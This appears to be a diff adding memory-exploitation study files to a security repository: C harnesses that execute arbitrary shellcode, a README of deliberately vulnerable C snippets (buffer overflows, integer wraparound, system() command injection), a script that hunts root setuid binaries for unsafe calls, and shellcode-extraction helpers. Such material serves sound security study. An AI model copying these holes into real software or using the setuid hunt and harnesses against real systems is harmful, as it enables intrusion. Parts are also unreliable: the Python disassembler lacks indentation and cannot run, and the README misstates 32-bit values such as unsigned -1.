@@ -0,0 +1,98 @@
+/* Test Shellcode */
+/*
+ * Generic program for testing shellcode byte arrays.
+ * Created by zillion and EVL
+ *
+ * Safemode.org !! Safemode.org !!
+ */
+
+#include <stdio.h>
+#include <stdlib.h>
+#include <sys/types.h>
+#include <sys/stat.h>
+#include <unistd.h>
+#include <errno.h>
+
+/*
+ * Print message
+ */
+static void
+croak(const char *msg) {
+    fprintf(stderr, "%s\n", msg);
+    fflush(stderr);
+}
+/*
+ * Educate user.
+ */
+static void
+usage(const char *prgnam) {
+    fprintf(stderr, "\nExecute code : %s -e <file-containing-shellcode>\n", prgnam);
+    fprintf(stderr, "Convert code : %s -p <file-containing-shellcode> \n\n", prgnam);
+    fflush(stderr);
+    exit(1);
+}
+/*
+ * Signal error and bail out.
+ */
+static void
+barf(const char *msg) {
+    perror(msg);
+    exit(1);
+}
+
+/*
+ * Main code starts here
+ */
+
+int
+main(int argc, char **argv) {
+    FILE        *fp;
+    void        *code;
+    int         arg;
+    int         i;
+    int         l;
+    int     m = 15; /* max # of bytes to print on one line */
+
+    struct stat sbuf;
+    long        flen;   /* Note: assume files are < 2**32 bytes long ;-) */
+    void        (*fptr)(void);
+
+    if(argc < 3) usage(argv[0]);
+    if(stat(argv[2], &sbuf)) barf("failed to stat file");
+    flen = (long) sbuf.st_size;
+    if(!(code = malloc(flen))) barf("failed to grab required memeory");
+    if(!(fp = fopen(argv[2], "rb"))) barf("failed to open file");
+    if(fread(code, 1, flen, fp) != flen) barf("failed to slurp file");
+    if(fclose(fp)) barf("failed to close file");
+    
+    while ((arg = getopt (argc, argv, "e:p:")) != -1){ 
+      switch (arg){ 
+      case 'e': 
+        croak("Calling code ...");
+        fptr = (void (*)(void)) code;
+        (*fptr)();
+        break; 
+      case 'p':       
+        printf("\n\nchar shellcode[] =\n");
+        l = m;
+        for(i = 0; i < flen; ++i) {
+          if(l >= m) {
+            if(i) printf("\"\n");
+            printf( "\t\"");
+            l = 0;
+          }
+          ++l;
+          printf("\\x%02x", ((unsigned char *)code)[i]);
+        }
+        printf("\";\n\n\n");
+        
+        break; 
+      default :       
+        usage(argv[0]); 
+      } 
+    } 
+    
+    
+    return 0;
+}
+

Vulnerabilities_and_Exploits/Memory_Exploits/C-codes/testing_shellcode2.c

@@ -0,0 +1,299 @@
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <signal.h>
+#include <ctype.h>
+#include <unistd.h>
+#include <fcntl.h>
+#include <sys/mman.h>
+#include <sys/types.h> /* See NOTES */
+#include <sys/wait.h>
+#include <sys/socket.h>
+
+/*------------------------------------------
+    Shellcode testing program
+    Usage:
+        shtest [-s socked_fd_no] {-f file | $'\xeb\xfe' | '\xb8\x39\x05\x00\x00\xc3'}
+    Usage example:
+        $ shtest $'\xeb\xfe'                 # raw shellcode
+        $ shtest '\xb8\x39\x05\x00\x00\xc3'  # escaped shellcode
+        $ shtest -f test.sc                  # shellcode from file
+        $ shtest -f <(python gen_payload.py) # test generated payload
+        $ shtest -s 5 -f test.sc             # create socket at fd=5
+            # Allows to test staged shellcodes
+            # Flow is redirected like this: STDIN -> SOCKET -> STDOUT
+    Compiling:
+        gcc -Wall shtest.c -o shtest
+    Author: hellman (hellman1908@gmail.com)
+-------------------------------------------*/
+
+char buf[4096];
+int pid1, pid2;
+int sock;
+int ready;
+
+void usage(char * err);
+int main(int argc, char **argv);
+
+void load_from_file(char *fname);
+void copy_from_argument(char *arg);
+void escape_error();
+
+int create_sock();
+void run_reader(int);
+void run_writer(int);
+void set_ready(int sig);
+
+void run_shellcode(void *sc_ptr);
+
+
+void usage(char * err) {
+    printf("    Shellcode testing program\n\
+    Usage:\n\
+        shtest {-f file | $'\\xeb\\xfe' | '\\xb8\\x39\\x05\\x00\\x00\\xc3'}\n\
+    Usage example:\n\
+        $ shtest $'\\xeb\\xfe'                 # raw shellcode\n\
+        $ shtest '\\xb8\\x39\\x05\\x00\\x00\\xc3'  # escaped shellcode\n\
+        $ shtest -f test.sc                  # shellcode from file\n\
+        $ shtest -f <(python gen_payload.py) # test generated payload\n\
+        $ shtest -s 5 -f test.sc             # create socket at fd=5 (STDIN <- SOCKET -> STDOUT)\n\
+            # Allows to test staged shellcodes\
+            # Flow is redirected like this: STDIN -> SOCKET -> STDOUT\
+    Compiling:\n\
+        gcc -Wall shtest.c -o shtest\n\
+    Author: hellman (hellman1908@gmail.com)\n");
+    if (err) printf("\nerr: %s\n", err);
+    exit(1);
+}
+
+int main(int argc, char **argv) {
+    char * fname = NULL;
+    int c;
+
+    pid1 = pid2 = -1;
+    sock = -1;
+
+    while ((c = getopt(argc, argv, "hus:f:")) != -1) {
+        switch (c) {
+            case 'f':
+                fname = optarg;
+                break;
+            case 's':
+                sock = atoi(optarg);
+                if (sock <= 2 || sock > 1024)
+                    usage("bad descriptor number for sock");
+                break;
+            case 'h':
+            case 'u':
+                usage(NULL);
+            default:
+                usage("unknown argument");
+        }
+    }
+
+    if (argc == 1)
+        usage(NULL);
+
+    if (optind < argc && fname)
+        usage("can't load shellcode both from argument and file");
+    
+    if (!(optind < argc) && !fname)
+        usage("please provide shellcode via either argument or file");
+
+    if (optind < argc) {
+        copy_from_argument(argv[optind]);
+    }
+    else {
+        load_from_file(fname);
+    }
+
+    //create socket if needed
+    if (sock != -1) {
+        int created_sock = create_sock(sock);
+        printf("Created socket %d\n", created_sock);
+    }
+
+    run_shellcode(buf);
+    return 100;
+}
+
+void load_from_file(char *fname) {
+    FILE * fd = fopen(fname, "r");
+    if (!fd) {
+        perror("fopen");
+        exit(100);
+    }
+
+    int c = fread(buf, 1, 4096, fd);
+    printf("Read %d bytes from '%s'\n", c, fname);
+    fclose(fd);
+}
+
+void copy_from_argument(char *arg) {
+    //try to translate from escapes ( \xc3 )
+
+    bzero(buf, sizeof(buf));
+    strncpy(buf, arg, sizeof(buf));
+
+    int i;
+    char *p1 = buf;
+    char *p2 = buf;
+    char *end = p1 + strlen(p1);
+
+    while (p1 < end) {
+        i = sscanf(p1, "\\x%02x", (unsigned int *)p2);
+        if (i != 1) {
+            if (p2 == p1) break;
+            else escape_error();
+        }
+
+        p1 += 4;
+        p2 += 1;
+    }
+}
+
+void escape_error() {
+    printf("Shellcode is incorrectly escaped!\n");
+    exit(1);
+}
+
+int create_sock() {
+    int fds[2];
+    int sock2;
+        
+    int result = socketpair(AF_UNIX, SOCK_STREAM, 0, fds);
+    if (result == -1) {
+        perror("socket");
+        exit(101);
+    }
+
+    if (sock == fds[0]) {
+        sock2 = fds[1];
+    }
+    else if (sock == fds[1]) {
+        sock2 = fds[0];
+    }
+    else {
+        dup2(fds[0], sock);
+        close(fds[0]);
+        sock2 = fds[1];
+    }
+
+    ready = 0;
+    signal(SIGUSR1, set_ready);
+
+    /*
+    writer: stdin -> socket (when SC exits/fails, receives SIGCHLD and exits)
+    \--> main: shellcode (when exits/fails, sends SIGCHLD to writer and closes socket)
+         \--> reader: sock -> stdout (when SC exits/fails, socket is closed and reader exits)
+    main saves pid1 = reader,
+               pid2 = writer
+    to send them SIGUSR1 right before running shellcode
+    */
+
+    pid1 = fork();
+    if (pid1 == 0) {
+        close(sock);
+        run_reader(sock2);
+    }
+
+    pid2 = fork();
+    if (pid2 > 0) { // parent - writer
+        signal(SIGCHLD, exit);
+        close(sock);
+        run_writer(sock2);
+    }
+    pid2 = getppid();
+
+    close(sock2);
+    return sock;
+}
+
+void run_reader(int fd) {
+    char buf[4096];
+    int n;
+
+    while (!ready) {
+        usleep(0.1);
+    }
+
+    while (1) {
+        n = read(fd, buf, sizeof(buf));
+        if (n > 0) {
+            printf("RECV %d bytes FROM SOCKET: ", n);
+            fflush(stdout);
+            write(1, buf, n);
+        }
+        else {
+            exit(0);
+        }
+    }
+}
+
+void run_writer(int fd) {
+    char buf[4096];
+    int n;
+    
+    while (!ready) {
+        usleep(0.1);
+    }
+
+    while (1) {
+        n = read(0, buf, sizeof(buf));
+        if (n > 0) {
+            printf("SENT %d bytes TO SOCKET\n", n);
+            write(fd, buf, n);
+        }
+        else {
+            shutdown(fd, SHUT_WR);
+            close(fd);
+            wait(&n);
+            exit(0);
+        }
+    }
+}
+
+void set_ready(int sig) {
+    ready = 1;
+}
+
+void run_shellcode(void *sc_ptr) {
+    int ret = 0, status = 0;
+    int (*ptr)();
+    
+    ptr = sc_ptr;
+    mprotect((void *) ((unsigned int)ptr & 0xfffff000), 4096 * 2, 7);
+    
+    void *esp, *ebp;
+    void *edi, *esi;
+
+    asm ("movl %%esp, %0;"
+         "movl %%ebp, %1;"
+         :"=r"(esp), "=r"(ebp));
+    
+    asm ("movl %%esi, %0;"
+         "movl %%edi, %1;"
+         :"=r"(esi), "=r"(edi)); 
+    
+    printf("Shellcode at %p\n", ptr);
+    printf("Registers before call:\n");
+    printf("  esp: %p, ebp: %p\n", esp, ebp);
+    printf("  esi: %p, edi: %p\n", esi, edi);
+
+    printf("----------------------\n");
+    if (pid1 > 0) kill(pid1, SIGUSR1);
+    if (pid2 > 0) kill(pid2, SIGUSR1);
+
+    ret = (*ptr)();
+
+    if (sock != -1)
+        close(sock);
+    
+    wait(&status);
+
+    printf("----------------------\n");
+    
+    printf("Shellcode returned %d\n", ret);
+    exit(0);
+}
+

Vulnerabilities_and_Exploits/Memory_Exploits/C-codes/testing_shellcode3.c

@@ -0,0 +1,12 @@
+#include <stdio.h>  //IO header
+#include <string.h> //Functions on favor of strings
+#include <stdlib.h> //exit() function
+char shellcode[] = ""; 				/* Global array */
+int main(int argc, char **argv)
+{
+	int (*ret)(); 				/* ret is a func pointer*/
+	ret = (int(*)())shellcode; 		/* ret points to our shellcode */
+	
+	(int)(*ret)();				/* shellcode is type caste as a function */
+	exit(0);					/* exit() */
+}

Vulnerabilities_and_Exploits/Memory_Exploits/C-codes/testing_shellcode4.c

@@ -0,0 +1,25 @@
+/* Sys mman shellcode tester */
+#include <stdio.h>		
+#include <sys/mman.h>		
+#include <string.h> 		
+#include <stdlib.h>		
+#include <unistd.h>		
+
+int (*shellcodetotest)(); 	
+char shellcode[] = "";	/* Put your shellcode here */
+
+int main(int argc, char **argv) 
+{
+	void *ptr = mmap(0, 150, PROT_EXEC | PROT_WRITE| PROT_READ, MAP_ANON | MAP_PRIVATE, -1, 0);
+	if(ptr == MAP_FAILED)  
+	{
+		perror("mmap");	
+		exit(-1);
+	}
+
+	memcpy(ptr, shellcode, sizeof(shellcode)); 
+	shellcodetotest = ptr;	
+	shellcodetotest();	
+	return 0;		
+}
+

Vulnerabilities_and_Exploits/Memory_Exploits/Integer_Overflows/integer_overflows.md

@@ -0,0 +1,2 @@
+# Integer Overflows
+

Vulnerabilities_and_Exploits/Memory_Exploits/README.md

@@ -0,0 +1,230 @@
+# Memory Hacking
+
+## Memory Corruption
+
+Unbounded data copying is bad!
+
+
+* Lots of APIs:
+	- strcpy()
+	- strcat()
+	- sprintf()
+	- gets()
+
+#### strcpy
+
+* Memory corruption basic example:
+
+```
+int vul_fc(char *userstring)
+{
+    char buf[128];
+    strcpy(buf, userstring);
+    /*..*/
+}
+```
+
+#### strncp and NULL byte
+
+* Better APIs can be not used properly, for eample **strncpy()**, it the parameter to limit lenght is not understood:
+
+```
+int vuln_function(char *userstring)
+{
+	char buf[128];
+	strncp(buf, usertring, strlen(userstring));
+	/*..*/
+}
+```
+
+* If the lenght does not account for NULL termination: the amount of data to copy is greater than or equal to size of buf, no NULL byte will be placed:
+
+```
+int vuln_function(char *userstring)
+{
+	char buf[128];
+	strncp(buf, usertring, sizeof(buf));
+	/*..*/
+}
+```
+
+* The correct would be **sizeof(buf)-1**.
+
+* C string functions need to have a NULL byte to know where the string ends. Later in the code, it will assume that the string is only as long as the sizeof(buf) when in reality the string is as long as wherefer the next NULL is in memory.
+
+* This could be an adjacent piece of memory the attacker controls, such as another buffer declared on the stack.
+
+#### strncat
+
+* For example string concatenation **strcat()**. This function appends a string from the source buffer to the destination buffer, adding to the end of an existing C strng in dest.
+
+* The size parameter does not account for daa already in the destination buffer:
+
+```
+int vuln_function(char *string)
+{
+	char buf1[256];
+	strncat(buf1, "static data", sizeof(buf1) - 1);
+	/*..*/
+	strncat(buf1, string, sizeof(buf1)-1);
+}
+```
+
+* If there is already data in buf1, it can overwrite beyond the buffer!
+
+#### Wide-characters
+
+* Many misunderstandings with wide-characters such as *wchar_t*.
+
+* Under win32, wchar_t is 16 bits (UTF-16 code unit). On linux, wchar-t is 32 bits (UTF-32).
+
+* Size miscalculation can happen by not considering that sizeof() returns count of 8 bit chars and wchar_t is larger than that:
+
+```
+int vul_funcion(char *string1)
+{
+	wchar_t buf1[256];
+	mbstowcs(buf1, string1, sizeof(buf1)-1);
+}
+```
+
+* The size lenght is given as sizeof(), however the size argument for mbstowcs() is the count of wide characters to write. Wide characters are bigger than bytes:
+
+```
+wchar_t buf1[256];
+mbstowcs(buf1, string1, sizeof(buf1)-1);
+```
+
+* On Windows, where wchar_t is 16 bits, sizeof(buf) is 512. In the above code, a copy of 511 wide-characters is copied into the destination buffer, when it was intended to be 255.
+
+----
+
+## Data Type Signedness
+
+* Primitive data types (32 bit):
+	- signed char/unsigned char
+	- signed short/unsigned short
+	- signed int/unsigned int
+
+* Redefinitions used for sizes:
+	- size_t (unsigned)
+	- size_t (signed)
+
+
+* By default all data types are signed unless specifically declared otherwise.
+* Many functions which accept size arguments take unsigned values.
+
+
+* char y=-1 has the same bit representation than  unsigned char x=255.
+
+* A large value in the unsigned type (highest bit set) is a negative value in the signed type.
+
+* Function **read()** takes only unsigned values for lenght. So if this value is negative, from a if comparison, it will overflow.
+
+* For example, if lenght is **-1** (which is 0xFFFFFFF), when the length check is performed, it is asking if -1 is less than a MAXNUMBER. Then, when the lenght is passed to read, it is converted to unsigned and becomes the unsigned equivalent of -1 (which for 32 bits is 42949672965).
+
+
+
+---
+## Integer overflow
+*  Exceeding the amount of data in integer will result in **wrapping**. In the example below, x will be 0:
+
+```
+x = 255;
+x += 1;
+```
+
+* Pointer overflow: pointers are unsigned integers:
+
+```
+int StrStuff(int sock, char *buf, size_t buflen)
+{
+	size_t dataSize;
+	char *maxpoint = buf + buflen;
+	dataSize = readDataSize(sock);
+	if (buf + dataSize < maxpoint)
+	{
+		read(sock, buf, dataSize);
+		return 0;
+	}
+return 1;
+}
+```
+
+### Integer Overflow Exploitation
+
+* In the code below, buf is intend to have enough space +1 to store a NULL byte for a string.
+* If the network data supplied is 0xFFFFFFF (max 32 bit value), when 1 is added, it will wrap to 0. This means that the length passed to malloc is zero bytes.
+* malloc() will return an under-sized buffer that allows memory corruption in read().
+
+```
+int getData(int sock)
+{
+	unsigned int len;
+	char *buf = NULL;
+	len = getDataLen(sock);
+	buf = malloc(len + 1);
+	read(sock, buf, len);
+	buf[len+1] = 0x0;
+}
+
+```
+
+------------------
+
+## Metacharacter Injection
+
+* In shell: quotes and semi-collon are metacharacters.
+
+* Example, a command to unzip some input file could lead to a second executable command if the input has a **;**:
+
+```
+void extractUserZip(char *userFile)
+{
+	char command[1024];
+	snprintf(command, 1023, "unzip %s", userFile);
+	system(command);
+	return;
+}
+
+```
+
+
+----
+
+
+## Auding Tips
+
+* grep for malloc() and other memory allocation functions.
+* look at the data types for size calculation.
+* look at values used for size checks: are they signed?
+* what happens if negative values are provided.
+* look for eval functions such as **system()**.
+
+
+
+---------------------------
+
+## Folders
+
+### Assembly
+
+- Shell spawn
+
+
+----
+### Buffer Overflows
+
+- Stack overflow examples
+
+----
+### Integer Overflows
+
+---
+### Tools
+
+---
+### C-codes
+
+- Get env variable
+

Vulnerabilities_and_Exploits/Memory_Exploits/bash/find_setuid_programs.sh

@@ -0,0 +1,9 @@
+#Find setuid programs
+#!/bin/sh
+tempfile="/tmp/$0.$$"
+trap "rm $tempfile" 0
+find / \( -type f -a -user root -a -perm -4001 \) -print > $tempfile
+for file in `cat $tempfile`; do
+strings -a $file | awk '/^gets$|^strcpy$|^strcat$|^sprintf$/\
+{ printf ("%-10s \t %-50s \n"), $1, file }' "file=$file" -
+done

Vulnerabilities_and_Exploits/Memory_Exploits/bash/get_shellcode_form_an_exe.sh

@@ -0,0 +1,17 @@
+#Get Shellcode form an executable file
+#!/bin/bash
+if [ $# -ne 1 ]
+then
+    printf "\n\tUsage: $0 filename.o\n\n"
+    exit
+fi
+filename=`echo $1 | sed s/"\$"//`
+rm -f $filename.shellcode
+
+objdump -d $filename | grep '[0-9a-f]:' | 
+grep -v 'file' | cut -f2 -d: |
+ cut -f1-6 -d' ' | tr -s ' ' | tr '\t' ' ' | 
+sed 's/ $//g' | sed 's/ /\\x/g' | paste -d '' -s |
+ sed 's/^/"/' | sed 's/$/"/g'
+
+echo

Vulnerabilities_and_Exploits/Memory_Exploits/python-codes/eggdis.py

@@ -0,0 +1,10 @@
+#! /usr/bin/env python
+import sys
+from libdisasm import disasm,disasmbuf
+dbuf = disasmbuf.DisasmBuffer(sys.stdin.read( ))
+d=disasm.LinearDisassembler( )
+d.disassemble(dbuf)
+for rva,opcode in dbuf.instructions( ):
+operands = map(lambda x:"%s %-13s" % (x.access( ),"[%s]" % str(x)),
+opcode.operands( ))
+print "%08x: %-20s %s" % (rva,str(opcode), "".join(operands))